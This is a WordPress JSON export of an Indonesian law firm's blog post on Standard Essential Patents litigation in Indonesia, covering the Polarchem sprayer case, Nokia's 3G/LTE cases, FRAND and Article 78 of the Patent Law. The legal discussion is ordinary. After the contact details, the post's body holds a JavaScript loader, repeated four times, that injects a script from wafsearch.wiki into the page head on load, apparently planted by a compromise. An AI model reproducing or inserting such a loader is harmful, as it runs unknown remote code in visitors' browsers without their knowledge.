{"id":5872,"date":"2025-10-21T05:08:14","date_gmt":"2025-10-21T05:08:14","guid":{"rendered":"https:\/\/affa.co.id\/?p=5872"},"modified":"2025-10-21T05:08:14","modified_gmt":"2025-10-21T05:08:14","slug":"saat-teknologi-privat-menjadi-standar-publik-bab-pembuka-litigasi-sep-di-indonesia","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/10\/21\/saat-teknologi-privat-menjadi-standar-publik-bab-pembuka-litigasi-sep-di-indonesia\/","title":{"rendered":"Saat Teknologi Privat Menjadi Standar Publik: Bab Pembuka Litigasi SEP di Indonesia"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Dalam beberapa tahun terakhir, percakapan global mengenai Paten telah bergeser dari sekadar membahas siapa yang menemukan lebih dulu menjadi siapa yang menciptakan standar. Di balik hadirnya 5G di ponsel kita, Wi-Fi di setiap sudut ruang publik, hingga USB-C yang kini menjadi port universal, terdapat satu istilah yang semakin mendominasi ruang diskusi Kekayaan Intelektual: <\/span><em><b>Standard Essential Patents (SEP)<\/b><\/em><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Isu ini tidak lagi sekadar berbicara tentang hak eksklusif, tetapi juga tentang akses terhadap teknologi dan tata kelola industri digital global.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Indonesia memang belum menjadi medan utama bagi sengketa SEP. Namun, beberapa perkara \u2014 seperti perselisihan terkait Paten Nokia di Pengadilan Niaga \u2014 mulai menunjukkan bahwa isu ini tidak lagi hanya milik Eropa atau Amerika Serikat.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Ketika suatu Paten telah diadopsi sebagai bagian dari standar teknis global, pertanyaannya tidak lagi sesederhana \u201csiapa pemiliknya?\u201d, melainkan \u201cbagaimana lisensinya harus dibuka?\u201d dan \u201capakah harus ada pembatasan berdasarkan kepentingan umum seperti dalam prinsip <\/span><em><b>FRAND (Fair, Reasonable, and Non-Discriminatory)<\/b><\/em><span style=\"font-weight: 400\">?\u201d<\/span><\/p>\n<p><span style=\"font-weight: 400\">Berbeda dari sengketa Paten di sektor farmasi atau <\/span><i><span style=\"font-weight: 400\">life-sciences<\/span><\/i><span style=\"font-weight: 400\"> yang berfokus pada kebaruan atau domain publik, isu SEP membawa dimensi baru: standarisasi, akses, dan interoperabilitas. Sebuah Paten tidak hanya melindungi invensi, tetapi juga dapat menentukan siapa yang boleh masuk ke pasar \u2014 dan dengan syarat apa.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Kasus Terkait SEP Pertama di Indonesia<\/b><\/p>\n<p><span style=\"font-weight: 400\">Kasus SEP pertama di Indonesia terjadi pada tahun 2015, melibatkan<\/span><b> PT Polarchem, PT Garuda Tasco International, PT Star Metal Ware Industry, dan PT Golden Agin <\/b><span style=\"font-weight: 400\">terhadap pemegang <\/span><b>Paten IDS0001281<\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Paten IDS0001281 merupakan <\/span><b>Paten Sederhana<\/b> <i><span style=\"font-weight: 400\">(utility model)<\/span><\/i><span style=\"font-weight: 400\"> yang mengatur spesifikasi teknis alat <\/span><i><span style=\"font-weight: 400\">sprayer<\/span><\/i><span style=\"font-weight: 400\">, diajukan pada 31 Mei 2012. Paten ini memiliki kemiripan dengan <\/span><b>Standar Nasional Indonesia (SNI) <\/b><span style=\"font-weight: 400\">yang ditetapkan pada tahun 2018, yaitu SNI 8485:2018 mengenai alat penyemprot elektrik gendong beserta standar mutu dan metode pengujiannya.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Pemegang Paten keberatan atas pemberlakuan SNI tersebut dan tidak memberikan izin kepada pihak lain untuk menggunakan standar itu dalam produksi, serta tidak menyediakan lisensi. Sikap ini jelas bertentangan dengan konsep FRAND pada invensi yang telah dijadikan standar nasional.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Pemegang Paten sempat memenangkan perkara di <\/span><b>Pengadilan Niaga Jakarta Pusat <\/b><span style=\"font-weight: 400\">(Putusan No. 75\/Pdt.Sus-Paten\/2015\/PN.Niaga.Jkt.Pst, tanggal 30 Juni 2016). Namun, dalam tahap peninjauan kembali, <\/span><b>Mahkamah Agung (Putusan No. 147 PK\/Pdt.Sus-HKI\/2018)<\/b><span style=\"font-weight: 400\"> menyatakan bahwa Paten IDS0001281 tidak memiliki kebaruan secara teknis, sehingga pendaftarannya dapat dibatalkan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Kasus SEP Nokia<\/b><\/p>\n<p><span style=\"font-weight: 400\">Kasus lain yang lebih kompleks adalah empat perkara antara <\/span><b>Nokia Technologies Oy<\/b><span style=\"font-weight: 400\"> melawan beberapa pelaku industri perakitan dan penjualan ponsel di Indonesia. Kasus ini memperlihatkan pola argumentasi SEP yang konsisten.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Nokia memetakan dua kelompok klaim Paten telekomunikasi ke dalam <\/span><b>3GPP Technical Specifications<\/b><span style=\"font-weight: 400\"> yang diadopsi dalam sistem standar Indonesia.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><b>Kelompok pertama<\/b><span style=\"font-weight: 400\"> membahas <\/span><b>Paten 3G\/UMTS<\/b><span style=\"font-weight: 400\"> terkait <\/span><b>HSDPA 64QAM<\/b><span style=\"font-weight: 400\">, yaitu teknologi yang mempercepat transfer data melalui teknik pengemasan yang lebih efisien. Nokia merujuk pada <\/span><b>3GPP TS 25.212<\/b><span style=\"font-weight: 400\">, yang menjelaskan spesifikasi <\/span><i><span style=\"font-weight: 400\">multiplexing<\/span><\/i><span style=\"font-weight: 400\"> dan <\/span><i><span style=\"font-weight: 400\">channel coding<\/span><\/i><span style=\"font-weight: 400\"> dalam UMTS. Nokia berargumen bahwa ponsel yang patuh terhadap standar 3G ini secara otomatis menjalankan fitur-fitur yang telah dilindungi oleh klaim Paten mereka.<\/span>&nbsp;<\/li>\n<li style=\"font-weight: 400\"><b>Kelompok kedua<\/b><span style=\"font-weight: 400\"> berhubungan dengan <\/span><b>Paten 4G<\/b><span style=\"font-weight: 400\">, khususnya fitur yang diatur dalam <\/span><b>3GPP TS 36.212 (v8.8.0)<\/b><span style=\"font-weight: 400\"> mengenai <\/span><i><span style=\"font-weight: 400\">multiplexing<\/span><\/i><span style=\"font-weight: 400\">, <\/span><i><span style=\"font-weight: 400\">channel coding<\/span><\/i><span style=\"font-weight: 400\">, dan pemetaan ke saluran fisik pada E-UTRA (LTE). Paten ini mencakup metode penyampaian informasi konfigurasi antena berbasis <\/span><b>bit mask<\/b><span style=\"font-weight: 400\">, yang memungkinkan sinkronisasi antara perangkat pengguna (UE) dan <\/span><i><span style=\"font-weight: 400\">base station<\/span><\/i><span style=\"font-weight: 400\"> untuk mempercepat transmisi data.<\/span>&nbsp;<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Nokia menjelaskan bahwa TS 36.212 v8.8.0 telah menjadi bagian dari standar global, termasuk di Indonesia. Dengan demikian, setiap ponsel yang beroperasi sesuai standar LTE kemungkinan besar menerapkan langkah-langkah teknis yang telah dipatenkan \u2014 dan karenanya memerlukan <\/span><b>lisensi FRAND yang sah<\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Keempat perkara tersebut mengacu pada <\/span><b>definisi \u201cEssential\u201d menurut ETSI<\/b><span style=\"font-weight: 400\">, yang menyatakan bahwa suatu <\/span><b>Hak Kekayaan Intelektual dianggap esensial<\/b><span style=\"font-weight: 400\"> apabila, secara teknis, tidak mungkin membuat, menjual, atau mengoperasikan produk yang patuh terhadap standar tanpa melanggar hak tersebut.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Oleh karena itu, pemegang Paten wajib menyerahkan <\/span><b>Pernyataan Informasi HKI dan Deklarasi Lisensi yang tidak dapat dibatalkan<\/b><span style=\"font-weight: 400\">, serta bersedia melisensikan invensinya dengan syarat <\/span><b>FRAND<\/b><span style=\"font-weight: 400\">. Dengan mekanisme ini, hak eksklusif Paten tetap diakui, namun pelaksanaannya \u201cdilunakkan\u201d agar standar dapat diadopsi secara luas.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Dimensi Kontraktual dan Kelembagaan<\/b><\/p>\n<p><span style=\"font-weight: 400\">Dimensi kontraktual internasional muncul melalui riwayat lisensi global dan lokal Nokia, yang digunakan untuk menunjukkan <\/span><b>itikad baik FRAND<\/b><span style=\"font-weight: 400\"> dan praktik pasar yang non-diskriminatif. Sengketa biasanya muncul ketika lisensi berakhir dan negosiasi perpanjangan tidak mencapai kesepakatan, sehingga produk yang masih beredar menjadi \u201cdi luar lisensi\u201d.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Pada titik ini, pertanyaan klasik SEP pun muncul:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Apakah penawaran FRAND yang diajukan masih <\/span><i><span style=\"font-weight: 400\">fair<\/span><\/i><span style=\"font-weight: 400\"> dan <\/span><i><span style=\"font-weight: 400\">reasonable<\/span><\/i><span style=\"font-weight: 400\"> secara ekonomi?<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Apakah ada diskriminasi?<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Siapa pihak yang beritikad baik (willing\/unwilling licensee)?<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Dan remedi apa yang proporsional \u2014 kompensasi finansial atau <\/span><i><span style=\"font-weight: 400\">injunction<\/span><\/i><span style=\"font-weight: 400\">?<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Saksi ahli mengenai keharusan implementasi TS 36.212 bagi perangkat LTE memperkuat teori <\/span><b>\u201cpelanggaran melalui implementasi standar\u201d<\/b><span style=\"font-weight: 400\">, yang menjadi ciri khas sengketa SEP lintas negara.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Secara kelembagaan, <\/span><b>3GPP<\/b><span style=\"font-weight: 400\"> adalah proyek kolaborasi antara berbagai lembaga standardisasi dunia \u2014 <\/span><b>ETSI<\/b><span style=\"font-weight: 400\"> di Eropa hanyalah salah satu mitra, bersama <\/span><b>ATIS (AS)<\/b><span style=\"font-weight: 400\">, <\/span><b>ARIB\/TTC (Jepang)<\/b><span style=\"font-weight: 400\">, <\/span><b>TTA (Korea)<\/b><span style=\"font-weight: 400\">, dan <\/span><b>CCSA (Tiongkok)<\/b><span style=\"font-weight: 400\">. Karena itu, teknologi 3G\/4G\/5G merupakan hasil kontribusi banyak pihak, bukan milik tunggal satu pengembang.<\/span><\/p>\n<p><span style=\"font-weight: 400\">ETSI menyediakan kebijakan HKI dan prosedur deklarasi, bukan sistem <\/span><i><span style=\"font-weight: 400\">license pooling<\/span><\/i><span style=\"font-weight: 400\">. Model lisensi yang lazim digunakan adalah <\/span><b>lisensi bilateral berbasis FRAND<\/b><span style=\"font-weight: 400\">, meskipun di beberapa sektor tersedia opsi lisensi melalui <\/span><i><span style=\"font-weight: 400\">pool<\/span><\/i><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Bab Baru Diskursus SEP di Indonesia<\/b><\/p>\n<p><span style=\"font-weight: 400\">Keempat perkara Nokia tersebut dapat dianggap sebagai <\/span><b>bab pembuka litigasi SEP di Indonesia<\/b><span style=\"font-weight: 400\"> yang terdokumentasi secara publik. Penggugat menautkan klaim Paten ke nomor spesifik TS 3GPP, menegaskan deklarasi ETSI dan komitmen FRAND, lalu menghubungkannya dengan sertifikasi perangkat di pasar domestik sebagai dasar inferensi implementasi klaim.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Bagi pelaku industri, pelajarannya jelas: ketika teknologi privat \u201cnaik kelas\u201d menjadi <\/span><b>standar publik<\/b><span style=\"font-weight: 400\">, hak Paten tetap ada \u2014 namun disertai <\/span><b>kewajiban membuka akses melalui FRAND<\/b><span style=\"font-weight: 400\">. Sebaliknya, pihak implementer memperoleh hak untuk mengakses standar, tetapi berkewajiban bernegosiasi dengan itikad baik untuk memperoleh lisensi yang layak.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Dalam era <\/span><b>5G dan Internet of Things (IoT)<\/b><span style=\"font-weight: 400\">, sengketa serupa sangat mungkin beririsan dengan <\/span><b>hukum persaingan usaha<\/b><span style=\"font-weight: 400\"> dan <\/span><b>koordinasi lintas yurisdiksi<\/b><span style=\"font-weight: 400\"> (termasuk isu <\/span><i><span style=\"font-weight: 400\">anti-suit injunction<\/span><\/i><span style=\"font-weight: 400\">). Karena itu, penting bagi pelaku industri untuk menyiapkan sejak awal <\/span><b>pemetaan standar terhadap klaim<\/b><span style=\"font-weight: 400\">, <\/span><b>dokumentasi negosiasi<\/b><span style=\"font-weight: 400\">, dan <\/span><b>analisis kewajaran ekonomi<\/b><span style=\"font-weight: 400\"> sebagai bagian dari kepatuhan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Menguji Esensialitas dan Kronologi<\/b><\/p>\n<p><span style=\"font-weight: 400\">Dalam menilai perkara semacam ini, penting untuk tidak terjebak pada asumsi \u201cotomatis esensial.\u201d Seperti dicatat oleh <\/span><b>Yi Yu et al. (2024)<\/b><span style=\"font-weight: 400\">, langkah awal pembelaan yang efektif adalah menguji apakah Paten yang disengketakan benar-benar esensial terhadap standar yang relevan, atau justru hanya mengatur fitur opsional yang belum tentu diimplementasikan.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Uji ini memerlukan pemetaan baris per baris antara elemen klaim dengan klausul standar yang bersifat wajib (<\/span><i><span style=\"font-weight: 400\">mandatory conformance<\/span><\/i><span style=\"font-weight: 400\">), serta verifikasi lapangan terhadap aktivasi fitur tersebut (misalnya dukungan 64QAM pada profil HSDPA tertentu, atau konfigurasi antena\/MIMO yang memicu penggunaan <\/span><i><span style=\"font-weight: 400\">bit mask<\/span><\/i><span style=\"font-weight: 400\"> khusus).<\/span><\/p>\n<p><span style=\"font-weight: 400\">Apabila fitur yang dipetakan bersifat opsional atau dinonaktifkan pada varian tertentu, maka klaim \u201cimplementasi standar = implementasi klaim\u201d menjadi lemah, dan beban pembuktian kembali berada pada pemegang SEP.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Selain itu, penting juga menelusuri <\/span><b>kronologi integrasi standar<\/b><span style=\"font-weight: 400\">: sejak versi berapa klausul standar yang dipetakan mulai berlaku. Perbedaan versi rilis 3GPP (misalnya <\/span><b>TS 25.212 v7.12.0<\/b><span style=\"font-weight: 400\"> untuk 3G dan <\/span><b>TS 36.212 v8.8.0<\/b><span style=\"font-weight: 400\"> untuk LTE) dapat memengaruhi apakah seluruh lini produk tergugat benar-benar berada dalam cakupan pada saat dipasarkan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Relevansi Pasal 78 UU Paten dan Prinsip FRAND<\/b><\/p>\n<p><span style=\"font-weight: 400\">Dari sisi kebijakan, <\/span><b>Pasal 78 Undang-Undang Paten<\/b><span style=\"font-weight: 400\"> yang melarang klausul lisensi yang merugikan kepentingan nasional atau menghambat alih dan pengembangan teknologi, dapat dipandang sebagai <\/span><b>dasar normatif penerapan prinsip FRAND di Indonesia<\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Gagasan ini sejalan dengan pandangan <\/span><b>Rani Nuradi (2023)<\/b><span style=\"font-weight: 400\">, yang menegaskan bahwa negara berkepentingan untuk menjamin akses yang adil terhadap teknologi yang telah menjadi standar, tanpa meniadakan hak eksklusif Paten.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Artinya, ketika suatu Paten diposisikan sebagai SEP, Pasal 78 memberi dasar hukum bagi otoritas atau pengadilan untuk menilai apakah struktur tarif, cakupan portofolio, atau kewajiban non-teknis (seperti <\/span><i><span style=\"font-weight: 400\">bundling<\/span><\/i><span style=\"font-weight: 400\"> berlebihan atau <\/span><i><span style=\"font-weight: 400\">cross-grant<\/span><\/i><span style=\"font-weight: 400\"> yang tidak proporsional) masih wajar dan tidak diskriminatif, atau justru merugikan kepentingan nasional karena menghambat difusi teknologi dan interoperabilitas.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Pelajaran dari Amerika Serikat dan Eropa<\/b><\/p>\n<p><span style=\"font-weight: 400\">Di <\/span><b>Amerika Serikat<\/b><span style=\"font-weight: 400\">, kegagalan pemegang Paten mengungkap potensi esensialitas kepada SSO dapat berujung pada sanksi berat \u2014 mulai dari <\/span><b><i>implied waiver<\/i><\/b><span style=\"font-weight: 400\"> atau <\/span><b><i>equitable estoppel<\/i><\/b><span style=\"font-weight: 400\"> (paten tidak dapat ditegakkan terhadap pihak tertentu), pembatasan remedi hanya pada royalti, hingga temuan <\/span><b><i>patent misuse<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Sementara di <\/span><b>Uni Eropa<\/b><span style=\"font-weight: 400\">, putusan terkenal <\/span><i><span style=\"font-weight: 400\">Huawei v. ZTE<\/span><\/i><span style=\"font-weight: 400\"> menekankan pentingnya \u201critual\u201d negosiasi FRAND yang benar. Jika pemegang SEP langsung menuntut <\/span><i><span style=\"font-weight: 400\">injunction<\/span><\/i><span style=\"font-weight: 400\"> tanpa melalui proses itu, mereka berisiko dianggap melakukan <\/span><b><i>abuse of dominant position<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Dua pendekatan ini tidak perlu disalin mentah-mentah, tetapi memberikan <\/span><b>kompas yuridis<\/b><span style=\"font-weight: 400\">: bahwa <\/span><b>esensialitas + keterbukaan <\/b><b><i>(disclosure)<\/i><\/b><b> + perilaku negosiasi<\/b><span style=\"font-weight: 400\"> adalah tiga simpul utama yang menentukan legitimasi penegakan SEP.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Masa Depan Litigasi SEP di Indonesia<\/b><\/p>\n<p><span style=\"font-weight: 400\">Untuk konteks Indonesia, analisis dapat ditata secara berlapis:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Filter Materiil (Pasal 78 UU Paten):<\/b><span style=\"font-weight: 400\"> Pengadilan dapat menilai dan menolak klausul lisensi yang \u201cmencekik\u201d, seperti tarif yang tidak seimbang dengan kontribusi standar di pasar lokal, atau kewajiban eksklusivitas yang menghambat TKDN dan transfer teknologi.<\/span>&nbsp;<\/li>\n<li style=\"font-weight: 400\"><b>Itikad Baik (Pasal 1338 KUHPerdata):<\/b><span style=\"font-weight: 400\"> Prinsip kepatutan memberi ruang bagi pengadilan untuk menilai perilaku negosiasi FRAND \u2014 apakah para pihak benar-benar <\/span><i><span style=\"font-weight: 400\">willing<\/span><\/i><span style=\"font-weight: 400\"> atau justru melakukan penundaan strategis.<\/span>&nbsp;<\/li>\n<li style=\"font-weight: 400\"><b>Proporsionalitas Remedi:<\/b><span style=\"font-weight: 400\"> Dalam sengketa SEP, pengadilan sebaiknya memulai dari kompensasi atau royalti sebelum mempertimbangkan <\/span><i><span style=\"font-weight: 400\">injunction<\/span><\/i><span style=\"font-weight: 400\">, kecuali terdapat bukti kuat bahwa implementer tidak beritikad baik.<\/span>&nbsp;<\/li>\n<li style=\"font-weight: 400\"><b>Kewajiban Pengungkapan (Disclosure):<\/b><span style=\"font-weight: 400\"> Meskipun belum diatur secara eksplisit, kegagalan mengungkap hubungan antara invensi dan standar \u2014 apalagi jika disengaja \u2014 dapat dinilai sebagai <\/span><b>penyalahgunaan hak<\/b><span style=\"font-weight: 400\"> yang melemahkan klaim untuk remedi berat.<\/span><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400\">Empat perkara Nokia dan kasus Polarchem menjadi titik awal yang penting dalam sejarah <\/span><b>litigasi SEP di Indonesia<\/b><span style=\"font-weight: 400\">. Ketika teknologi privat naik kelas menjadi <\/span><b>standar publik<\/b><span style=\"font-weight: 400\">, keseimbangan antara hak eksklusif dan akses yang adil menjadi kunci utama. Prinsip FRAND bukan sekadar kompromi, tetapi jembatan antara inovasi dan keterbukaan \u2014 antara kepemilikan dan interoperabilitas.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait litigasi SEP dan Paten secara umum di Indonesia, hubungi kami melalui kanal berikut ini:\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400\">? E-Mail : <\/span><a href=\"mailto:patent@affa.co.id\"><span style=\"font-weight: 400\">patent@affa.co.id<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><\/a><span style=\"font-weight: 400\">? Book a Call : +62 21 83793812<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">? WhatsApp : +62 812 87000 889<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dalam beberapa tahun terakhir, percakapan global mengenai Paten telah bergeser dari sekadar membahas siapa yang menemukan lebih dulu menjadi siapa yang menciptakan standar. Di balik hadirnya 5G di ponsel kita, Wi-Fi di setiap sudut ruang publik, hingga USB-C yang kini menjadi port universal, terdapat satu istilah yang semakin mendominasi ruang diskusi Kekayaan Intelektual: Standard Essential Patents (SEP). Isu ini tidak lagi sekadar berbicara tentang hak eksklusif, tetapi juga tentang akses terhadap teknologi dan tata kelola industri digital global. Indonesia memang belum menjadi medan utama bagi sengketa SEP. Namun, beberapa perkara \u2014 seperti perselisihan terkait Paten Nokia di Pengadilan Niaga \u2014 mulai menunjukkan bahwa isu ini tidak lagi hanya milik Eropa atau Amerika Serikat. Ketika suatu Paten telah diadopsi sebagai bagian dari standar teknis global, pertanyaannya tidak lagi sesederhana \u201csiapa pemiliknya?\u201d, melainkan \u201cbagaimana lisensinya harus dibuka?\u201d dan \u201capakah harus ada pembatasan berdasarkan kepentingan umum seperti dalam prinsip FRAND (Fair, Reasonable, and Non-Discriminatory)?\u201d Berbeda dari sengketa Paten di sektor farmasi atau life-sciences yang berfokus pada kebaruan atau domain publik, isu SEP membawa dimensi baru: standarisasi, akses, dan interoperabilitas. Sebuah Paten tidak hanya melindungi invensi, tetapi juga dapat menentukan siapa yang boleh masuk ke pasar \u2014 dan dengan syarat apa. &nbsp; Kasus Terkait SEP Pertama di Indonesia Kasus SEP pertama di Indonesia terjadi pada tahun 2015, melibatkan PT Polarchem, PT Garuda Tasco International, PT Star Metal Ware Industry, dan PT Golden Agin terhadap pemegang Paten IDS0001281. Paten IDS0001281 merupakan Paten Sederhana (utility model) yang mengatur spesifikasi teknis alat sprayer, diajukan pada 31 Mei 2012. Paten ini memiliki kemiripan dengan Standar Nasional Indonesia (SNI) yang ditetapkan pada tahun 2018, yaitu SNI 8485:2018 mengenai alat penyemprot elektrik gendong beserta standar mutu dan metode pengujiannya. Pemegang Paten keberatan atas pemberlakuan SNI tersebut dan tidak memberikan izin kepada pihak lain untuk menggunakan standar itu dalam produksi, serta tidak menyediakan lisensi. Sikap ini jelas bertentangan dengan konsep FRAND pada invensi yang telah dijadikan standar nasional. Pemegang Paten sempat memenangkan perkara di Pengadilan Niaga Jakarta Pusat (Putusan No. 75\/Pdt.Sus-Paten\/2015\/PN.Niaga.Jkt.Pst, tanggal 30 Juni 2016). Namun, dalam tahap peninjauan kembali, Mahkamah Agung (Putusan No. 147 PK\/Pdt.Sus-HKI\/2018) menyatakan bahwa Paten IDS0001281 tidak memiliki kebaruan secara teknis, sehingga pendaftarannya dapat dibatalkan. &nbsp; Kasus SEP Nokia Kasus lain yang lebih kompleks adalah empat perkara antara Nokia Technologies Oy melawan beberapa pelaku industri perakitan dan penjualan ponsel di Indonesia. Kasus ini memperlihatkan pola argumentasi SEP yang konsisten. Nokia memetakan dua kelompok klaim Paten telekomunikasi ke dalam 3GPP Technical Specifications yang diadopsi dalam sistem standar Indonesia. Kelompok pertama membahas Paten 3G\/UMTS terkait HSDPA 64QAM, yaitu teknologi yang mempercepat transfer data melalui teknik pengemasan yang lebih efisien. Nokia merujuk pada 3GPP TS 25.212, yang menjelaskan spesifikasi multiplexing dan channel coding dalam UMTS. Nokia berargumen bahwa ponsel yang patuh terhadap standar 3G ini secara otomatis menjalankan fitur-fitur yang telah dilindungi oleh klaim Paten mereka.&nbsp; Kelompok kedua berhubungan dengan Paten 4G, khususnya fitur yang diatur dalam 3GPP TS 36.212 (v8.8.0) mengenai multiplexing, channel coding, dan pemetaan ke saluran fisik pada E-UTRA (LTE). Paten ini mencakup metode penyampaian informasi konfigurasi antena berbasis bit mask, yang memungkinkan sinkronisasi antara perangkat pengguna (UE) dan base station untuk mempercepat transmisi data.&nbsp; Nokia menjelaskan bahwa TS 36.212 v8.8.0 telah menjadi bagian dari standar global, termasuk di Indonesia. Dengan demikian, setiap ponsel yang beroperasi sesuai standar LTE kemungkinan besar menerapkan langkah-langkah teknis yang telah dipatenkan \u2014 dan karenanya memerlukan lisensi FRAND yang sah. Keempat perkara tersebut mengacu pada definisi \u201cEssential\u201d menurut ETSI, yang menyatakan bahwa suatu Hak Kekayaan Intelektual dianggap esensial apabila, secara teknis, tidak mungkin membuat, menjual, atau mengoperasikan produk yang patuh terhadap standar tanpa melanggar hak tersebut. Oleh karena itu, pemegang Paten wajib menyerahkan Pernyataan Informasi HKI dan Deklarasi Lisensi yang tidak dapat dibatalkan, serta bersedia melisensikan invensinya dengan syarat FRAND. Dengan mekanisme ini, hak eksklusif Paten tetap diakui, namun pelaksanaannya \u201cdilunakkan\u201d agar standar dapat diadopsi secara luas. &nbsp; Dimensi Kontraktual dan Kelembagaan Dimensi kontraktual internasional muncul melalui riwayat lisensi global dan lokal Nokia, yang digunakan untuk menunjukkan itikad baik FRAND dan praktik pasar yang non-diskriminatif. Sengketa biasanya muncul ketika lisensi berakhir dan negosiasi perpanjangan tidak mencapai kesepakatan, sehingga produk yang masih beredar menjadi \u201cdi luar lisensi\u201d. Pada titik ini, pertanyaan klasik SEP pun muncul: Apakah penawaran FRAND yang diajukan masih fair dan reasonable secara ekonomi? Apakah ada diskriminasi? Siapa pihak yang beritikad baik (willing\/unwilling licensee)? Dan remedi apa yang proporsional \u2014 kompensasi finansial atau injunction? Saksi ahli mengenai keharusan implementasi TS 36.212 bagi perangkat LTE memperkuat teori \u201cpelanggaran melalui implementasi standar\u201d, yang menjadi ciri khas sengketa SEP lintas negara. Secara kelembagaan, 3GPP adalah proyek kolaborasi antara berbagai lembaga standardisasi dunia \u2014 ETSI di Eropa hanyalah salah satu mitra, bersama ATIS (AS), ARIB\/TTC (Jepang), TTA (Korea), dan CCSA (Tiongkok). Karena itu, teknologi 3G\/4G\/5G merupakan hasil kontribusi banyak pihak, bukan milik tunggal satu pengembang. ETSI menyediakan kebijakan HKI dan prosedur deklarasi, bukan sistem license pooling. Model lisensi yang lazim digunakan adalah lisensi bilateral berbasis FRAND, meskipun di beberapa sektor tersedia opsi lisensi melalui pool. &nbsp; Bab Baru Diskursus SEP di Indonesia Keempat perkara Nokia tersebut dapat dianggap sebagai bab pembuka litigasi SEP di Indonesia yang terdokumentasi secara publik. Penggugat menautkan klaim Paten ke nomor spesifik TS 3GPP, menegaskan deklarasi ETSI dan komitmen FRAND, lalu menghubungkannya dengan sertifikasi perangkat di pasar domestik sebagai dasar inferensi implementasi klaim. Bagi pelaku industri, pelajarannya jelas: ketika teknologi privat \u201cnaik kelas\u201d menjadi standar publik, hak Paten tetap ada \u2014 namun disertai kewajiban membuka akses melalui FRAND. Sebaliknya, pihak implementer memperoleh hak untuk mengakses standar, tetapi berkewajiban bernegosiasi dengan itikad baik untuk memperoleh lisensi yang layak. Dalam era 5G dan Internet of Things (IoT), sengketa serupa sangat mungkin beririsan dengan hukum persaingan usaha dan koordinasi lintas yurisdiksi (termasuk isu anti-suit injunction). Karena itu, penting bagi pelaku industri untuk menyiapkan sejak awal pemetaan standar terhadap klaim, dokumentasi negosiasi, dan analisis kewajaran ekonomi sebagai bagian dari kepatuhan. &nbsp; Menguji Esensialitas dan Kronologi Dalam menilai perkara semacam ini, penting untuk tidak terjebak pada asumsi \u201cotomatis esensial.\u201d Seperti dicatat oleh Yi Yu et al. (2024), langkah awal pembelaan yang efektif adalah menguji 